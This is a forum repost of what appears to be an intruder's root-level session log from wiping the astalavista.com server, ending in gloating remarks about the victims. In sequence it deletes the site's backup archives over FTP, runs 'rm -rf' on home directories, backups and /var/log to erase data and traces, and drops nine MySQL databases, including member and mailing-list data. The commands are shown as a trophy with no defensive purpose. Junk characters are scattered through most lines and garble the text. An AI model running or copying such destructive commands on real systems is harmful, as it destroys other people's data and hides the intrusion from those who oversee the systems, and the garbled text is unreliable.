/ y X5 z' {& P: R( \+ n0 [227 Entering Passive Mode (212,254,194,163,2,189)$ V* H/ c' |% p& ?
150 Opening BINARY mode data connection for ‘file list’.
$ ]6 [! F) q. n9 I6 a$ v-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar1 l$ [2 d& i3 Y T6 m
-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
* \1 T* @7 ~: Q7 \5 L; ^8 J% W-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2: u' i i/ M& y9 W/ d( t
-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar
z; D8 P1 z' v+ L- @" P-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar$ }2 M$ }3 y3 y0 b
[snip]0 \* ^% a0 q5 f) Z
226 Transfer complete.
7 W; R2 R7 C3 z3 G+ kftp> mdelete *; G) q L; D& d
ftp> ls -la
& Z" a1 w" _) K227 Entering Passive Mode (212,254,194,163,2,193)# D. C; M4 B) p+ F7 v
150 Opening BINARY mode data connection for ‘file list’.: v9 z0 F5 l; u+ X% g, M# y
226 Transfer complete.
/ p! |3 d" J9 b0 [ ~( k* yftp>
5 T, ^* o7 D0 `; Z# p
; I" W, u# f4 Z* h2 ^sh-3.2# cd /home8 @2 f& T$ K% _/ D- C7 m- X. D P
sh-3.2# ls -la7 \$ c2 ^9 t( S6 ~9 E9 K# b+ P
total 1204 \* [ T/ U7 z2 Q+ |( t
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .: Z5 S" _2 X) r9 |
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
r1 T& G, O6 V/ R) M2 ndrwx–x–x 9 admin admin 4096 Nov 28 2007 admin
. d2 v! K' m5 X2 ~-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
8 F9 y' B, R0 }1 Y; m-rw——- 1 root root 8192 Jun 3 02:45 aquota.user# P6 P. P# s! J7 |$ W( ?+ ~) a0 U
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet7 p- n. K! b9 h# H" K/ e. L8 ^
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup7 s' V6 h% N6 H, n4 J
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
8 a1 ^6 }( I3 {drwx–x–x 10 com com 4096 Apr 28 12:40 com
2 h+ J8 y, C4 Pdrwxr-xr-x 2 root root 4096 May 17 2007 ftp
9 b- L3 Y2 a: j! u1 o2 o7 _drwx—— 3 jon jon 4096 Sep 21 2007 jon
' |# u8 {6 I) o7 o1 Qdrwx—— 2 root root 16384 Sep 11 2007 lost+found# e# O2 U+ Y1 [ C# T* d
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
4 H& ^! G5 M, Z5 f0 n8 ^0 Rdrwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata4 B# U4 C6 y- g/ B" ^
drwx—— 2 jon jon 4096 Sep 15 2007 test) H4 ]: s+ _& r9 X! O, j
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
' |2 t) ?& E! W
, t3 R6 ?6 h. N- R3 i( A# y$ fsh-3.2# rm -rf backup/' f, @3 T L/ w% r3 l
sh-3.2# rm -rf backup.14161/8 W. J$ f& W# i: p& I
sh-3.2# rm -rf ftp/
: z% c. @2 ^( F2 wsh-3.2# rm -rf jon/
' q2 l4 M9 \* l' _2 [3 Vsh-3.2# rm -rf my/* I. e) I" O! v1 E" l& M
sh-3.2# rm -rf mysqldata/! U: ?8 [: {* R" L0 d* c; N
sh-3.2# rm -rf test/
( s6 i5 O8 ^2 Ksh-3.2# rm -rf tmp/
# ^. X6 e2 ]/ p( osh-3.2# cd ~
& t& X' _6 I4 y& l' g Z6 R- z7 Ksh-3.2# rm -rf *) S5 @* d. w# g
sh-3.2# rm -rf /var/log/
1 Q. |, e% V" v3 b7 c/ f1 g4 Rrm: cannot remove directory `/var/log//proftpd’: Directory not empty9 w; ^; p; S4 c# p: ]4 e
sh-3.2# rm -rf /home/** l2 v2 N$ o4 S
sh-3.2# mysql& w7 A; ^1 p4 M. c' O: A
Welcome to the MySQL monitor. Commands end with ; or \g.# @1 r' ?! n! _+ p) \( z
Your MySQL connection id is 407156( i) I" K4 d( ?" o8 h" S9 ?8 w
Server version: 5.0.45-community-log MySQL Community Edition (GPL)( A) W& S7 U. d$ W( E0 Q
# P _9 y9 Y7 N. BType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.+ @; U" ]$ }3 b/ e6 `0 m% G
. x6 i4 z$ ~8 R% {2 x4 n8 `
mysql> show databases;; U A E. v8 t
+———————–+" ^ w! g" V* V+ K
| Database |* T8 r1 M) U6 z2 H2 J, T+ v
+———————–+) @. k! h6 e4 O5 w0 X# ?
| information_schema |
7 f, H$ B1 k4 S& O% `# d1 C( _* J6 s| astanet_ads |
: `& i: c5 t. Z d% u$ s| astanet_mailing_lists |
7 o2 d; p, B2 v! U: h| astanet_mediawiki |1 w9 s1 A1 V9 J
| astanet_membersystem |
3 |. u {* l- O, B/ g; r| com_contrexx |& N) `; P1 @. p
| com_contrexx2 |0 ^6 G. G( A; d
| com_contrexx2_live |
3 `& _+ x! W& ^# x| da_roundcube |% D% B) ]1 j# ^- {4 L
| dolphin |
' G1 d; @ B- w% e; e! Q- i, }, Q| ideapool |
& {) ~4 R4 t- x# H. G' e: A% Y( K| mysql |
2 |! W! z4 m+ R+ L% U( \| test |
5 O! F' T) L* e7 U. t% |6 m| yourmaster |) Z' e2 z4 R* {5 m4 z6 J
+———————–+
/ o; j3 S% a& G& h8 `( a14 rows in set (0.03 sec)2 h- h) I9 i, s c! R2 K
1 h7 M6 w/ p2 }% [2 w# J' [. pmysql> drop database astanet_membersystem;
+ X4 a( p g5 \$ r# Z; m! ?2 s* b0 WdroQuery OK, 46 rows affected (0.81 sec)+ D' Y' r% l) T7 z
- ?* Q. L, i2 V4 M4 Q
mysql> drop database com_contrexx;
- u/ A$ n8 d7 h1 x% ZQuery OK, 211 rows affected (2.72 sec)
. v$ x3 g& A/ K2 e0 F3 V
% K; q' A. c+ p8 Umysql> drop database com_contrexx2;
* ]) a+ A8 Z$ }/ H7 P u4 D. |* CQuery OK, 237 rows affected (2.23 sec)1 n& h0 t4 M+ P7 A
/ z! P/ P3 o) r, G& Z. v% y5 `mysql> drop database com_contrexx2_live;, k' N( B+ J4 f; d8 f
Query OK, 227 rows affected (7.63 sec), `5 s7 ]) f# b. m7 [
0 |+ S+ T* _/ V. B& x& ]
mysql> drop database ideapool;+ l Z3 |/ w6 r# V/ T- Z
Query OK, 69 rows affected (0.19 sec)
/ K* Y. O$ }- M _4 a
; I; k+ v/ G0 Bmysql> drop database yourmaster;
% }3 M1 U! C- [5 tQuery OK, 158 rows affected (0.55 sec)+ R. T/ c9 J' M/ q& I
$ z- l. M: z2 _9 F4 l- ]! w- j+ Q
mysql> drop database astanet_ads;( Y& Y/ v3 E" p+ F3 Z7 N
Query OK, 9 rows affected (0.11 sec), o- Q/ I2 E4 \9 I, l* S, K
% \) Y' T! L7 U8 Z. Wmysql> drop database astanet_mailing_lists;
0 c1 T) h; ~; s, }/ N. R. q! z3 UQuery OK, 24 rows affected (1.47 sec)
% I- W% S% N6 c0 V. K. }3 `9 R! q! J# q) ^# |+ W) z% S4 m& A# r
mysql> drop database astanet_mediawiki;
1 A* ?7 }2 Z2 |0 \( ^: B; UQuery OK, 31 rows affected (0.51 sec)
( A+ a+ f* L( s( Y: ?* B/ T2 S6 S, G2 L5 n2 C' f
mysql> show databases;0 s5 j/ ^- K+ G4 D2 C) Y. v4 s
+——————–+- ?0 e1 A4 p6 s
| Database |
2 R8 y) R$ Z% t+——————–+
& U1 N. q: O4 \; K7 j| information_schema |/ T- a" T0 L. N \
| da_roundcube |0 q4 U! L, S. _9 b8 }% l
| dolphin |! E! B& C' c" o
| mysql |
/ V5 c w& A% A3 T3 ~3 Z4 }8 }| test |
! |1 r& p2 w9 Y- y+——————–+0 Q# ?3 {+ j$ n
5 rows in set (0.00 sec)
- y b6 i$ a& l) ~* ?7 B7 d3 p# @
: w7 }0 i3 C. p0 D2 g+ hWhat a journey! We’re not sure exactly why the “Terminator” had any influence on
+ G- s9 W: t6 G6 i: B& e/ mtheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the
8 L3 w I: g) ~% awrong to say this pack of morons *wont be back*.. n$ U$ D, S0 ]; L8 s2 H
|
发表于 2012-11-6 21:07:34
收藏
支持
反对